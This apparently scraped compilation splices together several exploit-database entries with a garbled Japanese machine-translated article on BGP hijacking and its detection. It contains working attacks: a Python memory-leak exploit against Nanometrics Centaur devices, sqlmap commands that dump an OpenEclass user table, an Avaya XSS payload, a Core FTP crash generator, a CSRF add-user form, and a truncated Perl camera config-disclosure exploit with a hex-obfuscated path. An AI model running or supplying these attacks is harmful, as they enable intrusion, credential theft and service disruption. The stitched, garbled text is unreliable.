# An information disclosure vulnerability exists when Centaur and TitanSMA fail to properly protect
# critical system logs such as 'syslog'. Additionally, the implemented Jetty version (9.4.z-SNAPSHOT)
# suffers from a memory leak of shared buffers that was (supposedly) patched in Jetty version 9.2.9.v20150224.
# As seen in the aforementioned products, the 'patched' version is still vulnerable to the buffer leakage.
# Chaining these vulnerabilities allows an unauthenticated adversary to remotely send malicious HTTP
# packets, and cause the shared buffer to 'bleed' contents of shared memory and store these in system
# logs. Accessing these unprotected logfiles reveal parts of the leaked buffer (up to 17 bytes per sent
# packet) which can be combined to leak sensitive data which can be used to perform session hijacking
# and authentication bypass scenarios.
#
# Tested on:
# Jetty 9.4.z-SNAPSHOT
#
# Vulnerability discovered by:
# byteGoblin @ zeroscience.mk
#
#
# Advisory ID: ZSL-2020-5562
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php
#
# Related CVE: CVE-2015-2080
# Related CWE: CWE-532, CWE-538
#
# 10.02.2020
#
#!/usr/bin/env python3
import requests
import re
import sys
class Goblin:
def __init__(self):
self.host = None
self.page = "/zsl"
self.syslog = "/logs/syslog"
self.buffer_pad = "A" * 70
self.buffer = None
self.payload = "\xFF"
self.payloads_to_send = 70 # 70 seems to be a good number before we get weird results
self.body = {}
self.headers = None
self.syslog_data = {}
self.last_line = None
self.before_last_line = True
def banner(self):
goblin = """
NN
NkllON
0;;::k000XN KxllokN
0;,:,;;;;:ldK Kdccc::oK
Nx,';codddl:::dkdc:c:;lON
klc:clloooooooc,.':lc;'lX
x;:ooololccllc:,:ll:,:xX
Kd:cllc'..';:ccclc,.x _ . ___ _ .
NOoc::c:,'';:ccllc::''k \ ___ , . _/_ ___ .' \ __. \ ___ | ` , __
Nklc:clccc;.;odoollc:',xN |/ \ | ` | .' ` | .' \ |/ \ | | |' `.
0l:lollc:;:,.,ccllcc:;..cOKKX | ` | | | |----' | _ | | | ` | | | |
0c;lolc;'...',;;:::::;..:cc:,cK `___,' `---|. \__/ `.___, `.___| `._.' `___,' /\__ / / |
Nc'clc;..,,,:::c:;;;,'..:oddoc;c0 \___/
Nl';;,:,.;:,;:;;;,'.....cccc:;..x InTrOdUcEs: //Nano-Bleed//
XxclkXk;'::,,,''';:::;'''...'',:o0
Kl,''',:cccccc:;..';;;:cc;;dX Discovered / Created by: byteGoblin
O,.,;;,;:::::;;,,;::,.';:c';K contact: bytegoblin <at> zeroscience.mk
Kdcccccdl'';;..'::;;,,,;:::;,'..;:.;K
d;,;;'...',,,:,..,;,',,;;,,,'.cd,':.;K Vendor: Nanometrics Inc. - nanometrics.ca
Oddl',,'',:cxX0:....'',,''..;dKKl,;,,xN Product: Centaur, TitanSMA
d...'ckN Xkl:,',:clll:,..,cxd;,::,,xN Affected versions: <= 4.3.23, <= 4.3.20
0:',';k Xx:,''..,cccc::c:'.';:;..,;,lK
0:'clc':o;',;,,.';loddolc;'.,cc'.;olkN CVE: N/A
0:'cdxdc,..';..,lOo,:clc:'.,:ccc;.oN Advisory: ZSL-2020-5562 / zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php
:,;okxdc,..,,..lK Xkol;:x0kl;;::;':0
x:,:odo:,'.',,.'xN 0lk Nk;';:;.cN Description: Unauthenticated Remote Memory Leak in Nanometrics Centaur product
Xx:,'':xk:..,''lK Y k;';;';xX
XOkkko'.....'O d.';;,,:xN
0dooooooxX x'.'''',oK _.o-'( Shout-out to the bois: LiquidWorm, 0nyxd, MemeQueen, Vaakos, Haunt3r )'-o._
XOkkkkkON
"""
print(goblin)
def generate_payload(self, amount_of_bytes):
self.payload += "\x00" * amount_of_bytes
self.headers = {"Cookie": self.buffer_pad, "Referer": self.payload}
def read_syslog(self, initial=False):
# Read syslog remotely and filter out 'HeapByteBuffer' messages.
# 'initial' is used to make a 'snapshot' of the state before we send payloads...
# That way we can filter on what we've just sent.
print("[!] - Grabbing syslog from: {}{}".format(self.host, self.syslog))
buffer = ""
r = requests.get(self.host + self.syslog)
if r.status_code == 200:
print("[!] - We got syslog, it is: {} bytes".format(len(r.content)))
split = r.text.split("\n")
for line in split:
if "HeapByteBuffer" in line:
if initial:
self.last_line = line
else:
if line == self.last_line:
self.before_last_line = False
if not self.before_last_line:
buffer_addr = re.search("\@\w+", line).group(0).strip("@")
try:
leak = re.search(">>>.+(?=\.\.\.)", line).group(0).strip(">>>")
buffer += leak
except Exception as e:
print(e)
if initial:
return self.last_line
self.buffer = buffer
else: # we can't access syslog?
print("[!!!] - Yoooo... we can't access syslog? Make sure you can access it, dawg...")
print("[!!!] - The status code we got was: {}".format(r.status_code))
exit(-1)
def show_output(self):
# we need to translate '\r\n' into actual newlines
if self.buffer is not None and self.buffer is not "":
self.buffer = self.buffer.replace("\\n", "\n")
self.buffer = self.buffer.replace("\\r", "\r")
self.buffer = self.buffer.replace("%2f", "/")
print("[*] BUFFER LENGTH: {}".format(len(self.buffer)))
print("=" * 50)
print("[*] THIS IS THE LOOT")
print("=" * 50)
for num, x in enumerate(self.buffer.split("\n")):
print("{}.\t| \t{}".format(num, x))
def send_payload(self, amount):
print("[!] - Sending payloads to target: {}{}".format(self.host, self.page))
if amount > self.payloads_to_send or amount < 0:
amount = self.payloads_to_send
for num, x in enumerate(range(0, amount)):
if num % 10 == 0:
print("[!] - [{}/{}] payloads sent...".format(num, amount))
try:
self.generate_payload(17)
r = requests.post(self.host + self.page, data=self.body, headers=self.headers)
except Exception as e:
print(e)
print("[!] - [{}/{}] payloads sent...".format(amount, amount))
def parse_sys_args(self):
if len(sys.argv) >= 2:
self.host = sys.argv[1]
if not "http" in self.host:
self.host = "http://{}".format(self.host)
if len(sys.argv) == 3:
# amount of packets to send
self.payloads_to_send = sys.argv[2]
else:
self.print_help()
def print_help(self):
print("Usage: {} <ip_addr[:port]> [amount of payloads to send]".format(sys.argv[0]))
print("Example: centaur3.py 123.456.789.0:8080 200")
print("\tThis will send 200 payloads to the aforementioned host")
print("\tThe [port] and [amount of payloads] are optional")
exit(-1)
def main(self):
self.parse_sys_args()
self.banner()
ll = self.read_syslog(initial=True)
self.send_payload(70)
self.read_syslog()
self.show_output()
if __name__ == '__main__':
Goblin().main()
0x00 BGP(RFC 1771、RFC
4271)定義のフルネームはボーダーゲートウェイです
中国語に対応するプロトコルはBorder Gateway Protocolであり、最新バージョンはBGPV4です。 BGPは、インターネット上のコアインターネットの分散型自律的なルーティングプロトコルです。そのステータスは中核であり、現在、海、陸、空気、7つの大陸と4つの海をつなぐ唯一の外部ルーティングプロトコルであると言うのは誇張ではありません。 BGPは、アプリケーションレイヤープロトコルに属する最も複雑なルーティングプロトコルであり、そのトランスポートレイヤーはTCPを使用し、デフォルトのポート番号は179です。アプリケーションレイヤープロトコルであるため、接続は信頼できると考えることができ、断片、確認、再送信など、BGPのみがfragment、確認、再送信など、基礎となる作業を検討する必要はありません。プロトコルが輸送層に到達できない場合があります。
1。関連する重要な概念
AS(自律システム):自律システムは、インターネット上で共通のルーティングポリシーを実行する1つ(時には複数の)組織の管轄下にあるIPネットワーク全体とルーター全体を指します。言い換えれば、インターネットの場合、ASは独立した全体的なネットワークです。それぞれが独自の数字を持っています。通常、自律システムは、ASN範囲:1-65535を備えたグローバルに一意の16桁の数値を割り当てます。 1-64511公共のASNに属し、一方、プライベートASN:64512-65535。
Path:ルーティングは、それぞれのAs範囲のレコードを生成します。 (ルーティングリング予防メカニズム)。
EBGP:外部BGPプロトコル(EBGP)の主な機能は、外部ルーターまたはASにより多くの情報を提供することです。
IBGP:内部BGPプロトコル(IBGP)の主な機能は、AS内部ルーターにより多くの情報を提供することです。
2.3 BGP
の表Adjancy Table(Adjancy Table):は、すべてのBGP隣接情報を保存します。
bgpテーブル(転送)
データベース):各近隣から学んだルーティング情報を保存します。
ルーティングテーブル(ルーティングテーブル):bgpは、デフォルトでは負荷分散を行いません。 BGPテーブルから各ターゲットネットワークに到達するルートを選択し、保存するためにルーティングテーブルに配置します。ルーターは、ルーティングテーブルに保存されているルートエントリに従ってデータを転送するだけです。
3。 BGPルーターのビジネスロールについて
経済的利益の考慮から、優れているように
最初にCustomerasからルートを選択し、次に続きます
PeerasとProvideras。言い換えれば、ほとんどのネットワークで使用されるルーティングポリシールールは次のとおりです。
1. Customerasからのルートでは、顧客、ピア、プロバイダーに渡すことができます。
2。宣言されたPeerasからのルートは、顧客に渡すことを許可します。
他の仲間やプロバイダーに宣伝することは許可されていません。
3。宣言されたProviderasからのルーティングは、に渡すことができます
顧客、他の仲間に宣伝することは許可されていません
プロバイダー。次の表:
0x01 5クラシックBGPセキュリティイベント
1. BGPネットワークのノートロップグラマン部分は、2003年5月に悪意を持って悪用されました(2003)
世界で3番目に大きい軍事メーカーであったグラマンは、世界最大のレーダーメーカーであり、海軍船の最大のメーカーである)は、ネットワークのセグメントをまだ使用していませんでした。また、スパムフィルタリングシステムを避けるために、大量のスパムを送信するために使用されます。最終的に、武器請負業者は、これらのIPアドレスの所有権を2か月間再宣言し、国際的なインターネットでRogue Routeブロードキャストをブロックしました。同時に、スパムアドレスのブラックリストが頻繁に行われるため、すべてのNorthrop GrummanのIPアドレスは禁止されています。
2。パキスタンテレコムのYouTube(2008)の停止2008年2月、パキスタン政府は、ビデオWebサイトのYouTubeに冒とくコンテンツがあるという理由でYouTubeをブロックするようにインターネットサービスプロバイダーに命じました。パキスタンの通信
Telecom)ローカルユーザーアクセスを制限しようとします
YouTube、BGPを介して香港テレコムインケ(PCCW)に新しいルーティング情報(エラー付き)を送信します。 PCCWは、この間違ったルーティング情報を国際的なインターネットにブロードキャストします。当時、パキスタンテレコムはルーターへの静的ルートを追加して、208.65.153.0/24を取得しました。
null0インターフェイス(ブラックホールルーティング); BAテレコムエンジニアは手と静的に震えました
ルート再分配(Ciscoルーター上の異なるプロトコルのルーティングテーブルを同期する方法)はBGPになります。つまり、ルーターの静的ルーティングテーブルがBGPルーティングテーブルに追加され、他のルーティングテーブルに同期する静的ルーティングの優先値は最高のものです。
BGPは、このルートを他のピアへのルーターとして同期しました。最初のものは香港のPCCWでしたが、それから全世界に徐々に同期されました。この時点で、インターネットのほとんどのユーザーは行きたいと思っています
YouTubeのとき、パケットはパキスタンのルーターのヌルインターフェイスにスローされましたが、もちろん開くことは不可能でした。
3。ハッキングチームはBGPを使用します
Hijackは、BGPハイジャックテクノロジーを使用してターゲットネットワークリンクデータをハイジャックするイタリアのハッカーグループ(2015)の攻撃を支援し、Adobe Flash 0dayおよびその他の技術的手段を使用してRCをターゲットネットワークに配信/暗示して、長期監視を完了します。
4. Googleエンジニアの構成エラーにより、800万人の日本人ユーザーが1時間切断されました(2017)Googleエンジニア構成エラーにより、NTT Communications Co.Ltd。のトラフィックが誤ってハイジャックされました。 (NTTは日本の主要なISPであり、2つの小さなISP、OCNとKDDIもサポートしています。
日本では、NTTは767万人の住宅ユーザーと480,000社にインターネットサービスを提供しています)。これにより、日本は約40分間インターネットから切断され、日本ではかなりのパニックが発生しました。地元の日本のメディアの報道によると、日本の内務省と日見の省はこの問題の調査を開始し、ISPに詳細な報告を提供するよう求めました。 Googleのスポークスマンは、それが彼らの間違いであることを認めて声明を発表しました。スポークスマンは、Googleがインターネット上でエラーメッセージを設定し、不便とパニックが引き起こされたことを謝罪したことをAsahi Shimbunに語った。停止事件が発生した後、Googleは8分以内に情報を修正しました。
なぜ日本はこんなに深刻な影響を与えているのですか?今回はGoogleがリークした160,000ルートのうち、25,000を超えるルートがNTTに属するルートアドレスセグメントです。影響を受けるすべてのネットワークでは、NTTを含むルートの数が最大です。実際には、
このルーティングリークには、KDDIのルーティングアドレスセグメントは含まれません。しかし、なぜKDDIはこの災害に苦しんだのでしょうか?
KDDIはVerizonのインターネット転送であるため(IP)
Transit)顧客、つまり、KDDIはVerizonのインターネットトランジットサービスを購入しました。 KDDIは、Verizonから95,000を超えるリークされたルートプレフィックスを受け入れます。別の日本の通信事業者であるIIJも、Verizonから97,000以上のリークルートプレフィックスを受け取りました。
したがって、KDDIまたはIIJからNTTへのインターネットトラフィック、
すべてが最初にシカゴのGoogleのデータセンターに転送されました。 NTT、KDDI、SoftBank BB、IIJは、日本のトップ4の主要なインターネットバックボーンネットワークであり、その相互接続とトラフィックは膨大です。
このBGPルーティング事故により、太平洋を越え、日本と米国の間の多くの国際潜水艦ケーブルシステムを通過する3つの主要なオペレーター間の国内交通が国際化されました。
米国のシカゴデータセンターはGoogleに流れます。この場合、日本と米国の間の国際潜水艦ケーブルの帯域幅が元々十分だったとしても、日本にあるはずの先史時代のインターネットの流れを運ぶことができず、日本とアメリカのインターネット高速道路の深刻な混雑をもたらしました。
インターネットトラフィックはあまりにも長く合格されており、その結果、壊滅的なインターネットデータの損失が発生し、日本のインターネットの中断が生じています。
5。AmazonはBGPにハイジャックされ、4月24日の朝に1730万米ドル(2018年)に相当する盗難ETHになり、Amazonの権威あるドメイン名サーバーはBGPルーティングハイジャックによって攻撃されました。攻撃者の目的は、DNSとBGPの固有のセキュリティの弱点を悪用して、暗号通貨を盗むことです。ハイジャックは、オーストラリア、米国、その他の地域に影響を与えています。この事件では、
ウェブサイトへのすべてのユーザーのアクセストラフィックは、ロシアのISPが提供する違法なウェブサイトにハイジャックされました。
MyetherWalletは、多くのユーザーが攻撃の犠牲者になったという声明を発表しました。
0x02これらのセキュリティの欠陥/bgp
の脆弱性
1. BGPの3つの原則
1。BGPルートが隣接する接続を確立した後、互いは隣人にルートエントリを送信します。
2。宛先ネットワークが決定されると、最短のAS_PATHパスがルーティングの優先順位を持っています
3。宛先ネットワークが決定されると、ネットワーク広告アドレス(マスクが長くなるほど)がより具体的に具体的であるため、ルートの優先度とルートの優先度が高くなります。
2.bgp hijack
2.1アイドル
外の世界への宣言は自分自身のものではなく、他の機関によって合法で宣言されていないネットワークに属します。
攻撃前:
AS1は、ネットワーク1.1.1.1/18および1.1.2.2/18の所有者です。
ただし、1.1.1.1/18のみを使用するため、1.1.1.1/18を宣言します。
宣言なし1.1.2.2/18。下の図に示すように:
攻撃の後:
AS5にはネットワーク5.5.5.5/16があります。
彼は、AS1が1.1.2.2/18および1.1.2.2/18が存在し、合法であると宣言しなかったことを発見しました。 AS5は、1.1.2.2/18がすべてのトラフィックを1.1.2.2/1にAS5に送信するようになったことを発表しました。下の図に示すように:
2.1通知として最も近い隣人
物理的な場所の近接機能を使用して、あなたに属さないネットワークが近くの隣接するネットワークリンクをハイジャックすることを宣言します。攻撃前:
攻撃の後:
2.2長いマスクグラブ(イリダス効果)特別なプレフィックスハイジャック
BGPパス選択ロングマスク優先機能を使用して、到達可能なネットワークセグメントの完全なトラフィックをハイジャックします。攻撃前:
攻撃の後:
2.2 AS_Path Hijack(Sardine Fishing)
AS_Path Prependを使用すると、自由に変更でき、ASを介してAS_Pathの数を増やすことでルーティングの優先順位を抑制します。
ターゲットネットワークに向かってデータを駆動します。ネットワークトラフィックを制御する目的を達成します。
攻撃前:
攻撃の後:
2.3ルートリーク
BGPルーティングリーク:
BGPルーティングエントリは、異なる役割で合理的な広告範囲を持っています。 BGPルーティング通知が当初の予想される広告範囲外に広がると、ルーティングリークと呼ばれます。
そして、これは予測不可能な結果をもたらします。漏れによって引き起こされる結果によると、それは次の3つのタイプに大まかに分割できます。 Øソースネットワークと尖ったネットワークの中断を引き起こします。 Ø旅行/ISP旅行/MITMおよびその他の問題として引き起こします
AS1ルーティングリークが発生する前に、AS1、AS2、AS3、AS4、およびAS5は正常に通信できます。下の図に示すように:
2.4 BGP TTL Modify(食事後のデザート)
ASとASの間の境界ルーターでEBGPが実行されます。デフォルトでは、直接接続または静的ルーティングが必要です。直接接続でない場合は、複数のEBGPを参照する必要があります。それ以外の場合、隣人の関係を確立できません。この問題を解決するために、EBGP-Multihop属性は、ホップの問題を修正するために定義されます。 EBGPで近隣を確立する場合、デフォルトのTTL値は1です。EBGP-Multihopを変更しない場合、非方向性に接続されたEBGPネイバーが隣接関係を確立できないようになります(これもEBGPアンチリング測定値です)。本質は、この属性を介したアウトバウンドルートのTTL属性値を変更することです。
BGP TTL値はカスタムの変更をサポートするため、MITMを実行できます(BGPルーティングTTL値の値は、合格するたびに1減少します)
攻撃と同時に、戦略を策定し、TTL値を変更します(対応するホップカウントのTTL値を増やします)
ホップカウントを例外のないように見せます。特定の隠された効果を達成できます。
switch(config)#ルーターBGP 1.1
switch(config-router)#neighbor 192.0.2.1 remote-as 1.2
switch(config-route-neighbor)ebgp-multihop 2(1-255)
以前のBGPハイジャックと
2.5 BGPブレイクhttps
を使用しますこれで、HTTPSトラフィックを復号化するために法的TLS証明書を取得する必要があります。 ØTLSCAを介してユーザー向けにTLS証明書を取得するプロセスは次のとおりです。
1.最初にCA Webページでアカウントを申請します。
2。認証ログインリクエストCSR(証明書)
署名リクエスト)作成とロードは重要ですが、一部のCAはこの手順をスキップしてCAから直接秘密キーを取得することさえ許可します。
3。CAは、次の3つの重要な項目を含む、ユーザーを認証するために多くの選択肢を提供します。
•whois recordを照会します
•特定のHTMLをロードして、特定のURLで認証を渡す
•ユーザーはDNSテーブルにカスタムトークンを作成します
上記の確認の後、申請者は支払いを行い、支払いが完了し、CAはTLS法的認定を発行します。次に、このTLS証明書を使用して、Web訪問者にIDの合法性を証明できます。 (それは確かに合法であり、世界中で有効です)
ハイジャックCA(証明書当局)証明書:上記のプロセスから、3の3つの条件が合格することが保証されている限り、法的TLS証明書を適用できることがわかります。適切なCAを選択した場合、BGPハイジャックはCAS間の呼び出しを中断しません。このような攻撃を実装するには2つのことだけが必要です。
1.制御可能な境界ルーティング
2。BGPノードの情報:顧客、プロバイダー、ノード情報、および公共サービスは、Qrator RadarまたはBGPモニタリングに似ています。これらの基本情報、AS_PATH追跡ルートなどを確認します。
それから:
BGPハイジャックテクノロジーを使用して、Whios、URL Server、DNS TXT、DNS、
トークンの対応するアドレスは、構築した3種類のサーバーを指します。
whois recordをクエリします
(プレーンテキストの送信は偽造できます)
特定のHTMLをロードして、特定のURLで認証を渡す
(プレーンテキストの送信は偽造できます)
ユーザーは、DNSテーブルにカスタムトークンを作成します
(プレーンテキストの送信は偽造できます)
次に、ステップ4に進み、TLS証明書アプリケーションを完了します。
0x03検出防御
1.BGPルートモニット(検出)
TTL関連情報を表示し、通常の状況と比較するためにTracerouteコマンドを使用します。
ほとんどの場合、ハイジャックはTTL値を増やし、ASパスを通過することにより決定されます。ルートハイジャックが発生しない場合、
下の図に示すように:
ルートハイジャックが発生すると、ルートが:AS40-AS10-100を迂回することがわかります。下の図に示すように:
自己構築されたプラットフォームは、グローバルな権威ある組織および組織の完全なBGPルーティングテーブルをリアルタイムで同期し、それらをローカルに収集したBGPと比較します。例外が見つかり、アラートはリアルタイムで作成されます。下の図に示すように、Routeviewsなどのいくつかのオープンソースプロジェクト:
合理的な取得期間を選択し、期間中に通常のBGPステータスの下でルート更新エントリの数をカウントします。更新エントリの総数に対して合理的なしきい値範囲を選択し、AS ASのBGPルーティングエントリの更新の数をリアルタイムで監視し、異常が見つかったときにリアルタイムで警告します。 ØコマーシャルBGPルーティングモニタリングとアラームプラットフォームを使用します
•IAR(インターネット
アラートレジストリ)
•PHAS(プレフィックス
ハイジャックアラートシステム)
•熟したNCC
myasnサービス
•BGPMON
•watchmy.net
•Renesys
Intelligのルーティング
2。ルーティング通知スコープ(防御)
をフィルタリングおよび制限しますØコレクションのルーティング広告は、AS範囲内のBGPおよびIGPグローバルルーティングポリシーで許可されています。
禁止されています。また、ACL、ルートマップ、またはBGP Prefxフィルタリングを合理的に使用して、ルートの発表と伝播範囲を制御します。 Øoperator、
サービスプロバイダーは、以下の原則に従って、異なるビジネスロールを持つルーターでルーティングアナウンスを実施し、詳細なBGP PrefXフィルタリングを確立し、それらを有効にするものとします。下の図に示すように:
3。アルゴリズムモデル(検出---外部引用)
3.1ドメイン間ルーティングのための中間攻撃モデル
ドメイン間ルーティングの中間攻撃は通常、プレフィックスハイジャックに基づいて実装されます。接頭辞ハイジャックは、被害者ネットワークへのトラフィックをハイジャックするために偽のルートを宣言しました。典型的なプレフィックスのハイジャックを図に示します。 AS6は、AS1のプレフィックス10.1.16.1/22を外の世界に違法に宣言します。
これにより、AS4とAS5は鍛造ルートによって汚染されます。さらに、彼らは被害者ネットワークに到達します。
AS1トラフィックもAS6にハイジャックされます。下の図に示すように、•AS1はネットワーク10.1.16.1/22の実際の所有者です。3:Fとしてマークされています。
:Xとしてマークしました
•攻撃が開始される前のyからfへのas_pathは次のとおりです。
攻撃が発生した後、yからfへのas_pathは:as6 as2です
AS1。図:
3.2ドメイン間ルーティングの中間攻撃の異常特性
最初に、セクションで述べたように、ドメイン間ルーティングの中間攻撃の最初のステップは、プレフィックスハイジャックを実装することです。レビュー
# Exploit Title: GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection
# Google Dork: intext:"© GUnet 2003-2007"
# Date: 2019-11-03
# Exploit Author: emaragkos
# Vendor Homepage: https://www.openeclass.org/
# Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz
# Version: 1.7.3 (2007)
# Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38)
# CVE : -
# GUnet OpenEclass <= 1.7.3 E-learning platform - Unauthenticated Blind SQL Injection
You can confirm applications' version by visiting https://URL/info/about.php
Versions prior to 1.7.3 might also by vulnerable but were not tested.
Source code:
http://download.openeclass.org/files/1.7/eclass-1.7.3.zip
http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz
Setup instructions:
http://download.openeclass.org/files/docs/1.7/Install.pdf
Changelog:
https://download.openeclass.org/files/docs/1.7/CHANGES.txt
Manual:
https://download.openeclass.org/files/docs/1.7/eClass.pdf
############################################################################
Vulnerability: Post parameter (uname) is vulnerable to time-based blind SQLi
############################################################################
Steps to reproduce:
1) Visit vulnerable webapp and confirm version is <= 1.7.3 https://URL/info/about.php
2) Configure Burp proxy to intecrept and to capture a login sequence with invalid username/password. (e.g. username:test password:test)
Your request should look like this:
POST / HTTP/1.1
Host: 192.168.1.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.8/
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: PHPSESSID=d6gupmerbr0k84st4d7qv9jsl1
Upgrade-Insecure-Requests: 1
uname=test&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2
3) Save intercepted request as a file (Right click -> Copy to file -> Save as eclasstestlogin)
4) Load the file to SQLMap with the use of -r parameter
sqlmap -r eclasstestlogin --level=5 --risk=3 -v
SQLMap will find the following payload
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=test' AND (SELECT 5551 FROM (SELECT(SLEEP(5)))IZsi)-- aLyD&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
5) Exploit it!
sqlmap -r eclasstestlogin -v --current-db
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] --dump
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] -T user -C password --dump
6) Bonus! Passwords are stored in plaintext
# Exploit Title: Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting
# Release Date: 2019-12-11
# Exploit Authors: Dan Bohan, Scott Goodwin, OCD Tech
# Vendor Homepage: https://www.avaya.com/en/
# Software Link: https://www.avaya.com/en/products/unified-communications/voip/
# Vulnerable Version: 11.0 FP4 SP1 and before
# Tested on: 11.0.0.0
# CVE: CVE-2019-7004
# Vendor Advisory: ASA-2019-213
# References: https://downloads.avaya.com/css/P8/documents/101062833
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7004
Avaya IP Office version 11.0.0.0 and before has a vulnerable login page (username) which is susceptible to cross-site scripting (XSS) via a POST request due to improper sanitization of user input. XSS via a post request allows for arbitrary code to be executed on the client’s system in the security context of the browser. By submitting a specially crafted username, it is possible to execute arbitrary JavaScript.
# PoC
Username: 41529%22%2F%3E%0A%3Cscript%3Ealert%28%27XSS%21%27%29%3B%3C%2Fscript%3E
Password: Anything
# Exploit Title : Core FTP Lite 1.3 - Denial of Service (PoC)
# Exploit Author: Berat Isler
# Date: 2020-02-20
# Vendor Homepage: http://www.coreftp.com/
# Software Link Download:http://tr.oldversion.com/windows/core-ftp-le-1-3cbuild1437
# Version: Core FTP 1.3cBuild1437
# Tested on : Windows 7 32-bit
# First step , Run exploit script, it will generate a new file with the name "mi.txt"
# Then start Core FTP application and find the "username" textbox.
# After that pate the content of "mi.txt" in to the "username" field like this --> "AAAAAAAAA"
# Don't need to click anything because application is already crash.
This is the code :
#!/usr/bin/python
b0f = "A" * 7000
payload = b0f
try:
f=open("mi.txt","w")
print "[+] Creating %s bytes payload generated .. .. .." %len(payload)
f.write(payload)
f.close()
print "[+] File created :) "
except:
print "File cannot be created :(("
# Exploit Title: Easy2Pilot 7 - Cross-Site Request Forgery (Add User)
# Author: indoushka
# Date: 2020-02-20
# Tested on: windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)
# Vendor: http://easy2pilot-v7.com/
# CVE: N/A
#poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] save code as poc.html
[+]
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://www.w3.org/2005/10/profile">
<script data-ad-client="ca-pub-6748326038387042" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
</tr>
</table>
<br/><br/>
<form action="https://immosl.lu/admin.php?action=add_user" method="POST">
<table class="modif_utilisateur" border="0" cellpadding="3" cellspacing="0" width="350">
<tr>
<td class="tah11" colspan="2" align="center"><B>Nouvel utilisateur : </B></td>
</tr>
<tr>
<td class="tah11" align="right">Nom d'utilisateur :</td>
<td class="tah11" align="left"><input type="text" name="user" class="form-control" value=""></td>
</tr>
<tr>
<td class="tah11" align="right">Mot de passe : </td>
<td class="tah11" align="left"><input type="text" name="pass" class="form-control" value=""></td>
</tr>
<tr>
<td class="tah11" colspan="2" align="center"><input class="btn btn-lg btn-primary" type="submit" value="Ajouter"></td>
</tr>
</table>
</form><br/><br/>
<div>
Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================
# Title: ESCAM QD-900 WIFI HD Camera - Remote Configuration Disclosure
# Author: Todor Donev
# Date: 2020-02-23
# Vendor: www.escam.cn
# Product Link: http://www.escam.cn/search/?class1=&class2=&class3=&searchtype=0&searchword=qd-900&lang=en
# CVE: N/A
#!/usr/bin/perl
#
# ESCAM QD-900 WIFI HD Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev
#
# https://donev.eu/
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# [ ESCAM QD-900 WIFI HD Camera Remote Configuration Disclosure
# [ ===========================================================
# [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com>
# [ Initializing the browser
# [ >> User-Agent => Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20050105 Epiphany/1.4.8
# [ >> Content-Type => application/x-www-form-urlencoded
# [ << Connection => close
# [ << Date => Fri, 21 Feb 2020 20:23:56 GMT
# [ << Accept-Ranges => bytes
# [ << Server => thttpd/2.25b 29dec2003
# [ << Content-Length => 25003
# [ << Content-Type => application/octet-stream
# [ << Last-Modified => Fri, 21 Feb 2020 20:23:55 GMT
# [ << Client-Date => Fri, 21 Feb 2020 20:23:57 GMT
# [ << Client-Peer => 192.168.1.105:8000
# [ << Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';
my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s/\/$//;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ ESCAM QD-900 WIFI HD Camera Remote Configuration Disclosure\n";
print "[ ===========================================================\n";
print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n";
if ($host !~ m/^http/){
print "[ Usage, Password Disclosure: perl $0 https://target:port/\n";
print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";
exit;
}
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
# my $target = $host."/tmpfs/config_backup.bin";
my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;
